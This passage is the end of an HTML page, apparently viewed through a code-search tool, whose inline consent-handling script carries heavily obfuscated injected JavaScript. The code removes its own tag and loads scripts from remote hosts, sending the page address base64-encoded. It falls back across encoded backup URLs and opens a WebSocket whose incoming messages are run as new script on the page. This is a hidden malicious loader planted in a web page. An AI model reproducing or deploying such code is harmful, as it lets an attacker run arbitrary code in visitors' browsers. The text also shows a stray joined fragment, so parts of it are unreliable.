cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
10325,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
1032
1033</body>
1034</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.